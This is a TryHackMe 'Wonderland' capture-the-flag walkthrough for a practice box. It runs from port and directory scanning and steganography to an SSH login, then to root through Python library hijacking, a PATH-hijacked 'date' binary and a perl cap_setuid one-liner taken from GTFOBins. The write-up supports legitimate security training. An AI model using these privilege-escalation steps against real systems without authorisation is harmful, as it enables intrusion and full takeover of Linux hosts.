TRYHACKME:WONDERLAND

Recon:

Nmap:

```
# nmap -sC -sV -vv [Machine_IP] -T 4
```

Discovered Ports : 22 – SSH
80 - http

OS : Linux

Gobuster:

```
# gobuster dir -u [Machine_IP] -w [WORDLIST_PATH]
```

Directories Found:

/img
/r
/poem

Download all the three images from "[Machine_IP]/img":

There could be some hidden file in these images, extract using steghinde

```
# steghide extract -sf white_rabbit_1.jpg
Enter passphrase:
wrote extracted data to "hint.txt".
# cat hint.txt
follow the r a b b i t
```

As the [Machine_IP]/r page says, **I have to keep going so Again I used the Gobuster on /r directory:**

```
# gobuster dir -u [Machine_IP]/r -w [WORDLIST_PATH]
```

Directories Found:

/a

```
# gobuster dir -u [Machine_IP]/r/a -w [WORDLIST_PATH]
```

Directories Found:

/b

```
# gobuster dir -u [Machine_IP]/r/a/b -w [WORDLIST_PATH]
```

Directories Found:

/b

```
# gobuster dir -u [Machine_IP]/r/a/b/b -w [WORDLIST_PATH]
```

Directories Found:

/i

```
# gobuster dir -u [Machine_IP]/r/a/b/b/i -w [WORDLIST_PATH]
```

Directories Found:

/t

View page source of [Machine_IP]/r/a/b/b/i:

You'll find Alice's reply :
"alice:HowDothTheLittleCrocodileImproveHisShiningTail"

This looks like a password or a passphrase to somewhere:

```
# ssh alice@[Machine_IP]
password : HowDothTheLittleCrocodileImproveHisShiningTail
```

Finally we're in as Alice.

User flag is in /root/user.txt

```
# cat /root/user.txt -------------- USER FLAG
```

Now we have to escalate our priveleges:

```
# sudo -l
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
```

Only possibility here is hijacking import random to import our own library:

```
# cat > random.py << EOF
import os
os.system("/bin/bash")
EOF
```

Switch to user rabbit:

```
# sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
# whoami
rabbit
```

We have **a teaParty** named executable file:

```
# cat teaParty
# cat > date << EOF

# !/bin/bash
/bin/bash
EOF
```

Make this date file executable:

```
# chmod +x date
```

Setting up the **PATH** variable:

```
# export PATH=/home/rabbit:$PATH
```

Let's execute the teaParty file:

```
# ./teaParty
```

As hatter, Import LinPeas.sh and we'll find we can run **a perl** command **"/usr/bin/perl = cap_setuid+ep"**

Let's try this script I found on GTFObins:

```
# perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cd /home/alice
# cat root.txt ----------ROOT FLAG
```